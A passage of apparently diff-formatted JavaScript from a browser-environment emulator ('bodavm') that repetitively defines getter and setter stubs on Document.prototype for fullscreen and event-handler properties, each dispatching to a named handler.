onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_get", arguments)}, set:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitIsFullScreen", {configurable:true, enumerable:true, get:function webkitIsFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitIsFullScreen_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitCurrentFullScreenElement", {configurable:true, enumerable:true, get:function webkitCurrentFullScreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCurrentFullScreenElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenEnabled", {configurable:true, enumerable:true, get:function webkitFullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenEnabled_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenElement", {configurable:true, enumerable:true, get:function webkitFullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenchange", {configurable:true, enumerable:true, get:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_get", arguments)}, set:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenerror", {configurable:true, enumerable:true, get:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_get", arguments)}, set:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "rootElement", {configurable:true, enumerable:true, get:function rootElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "rootElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerdown", {configurable:true, enumerable:true, get:function 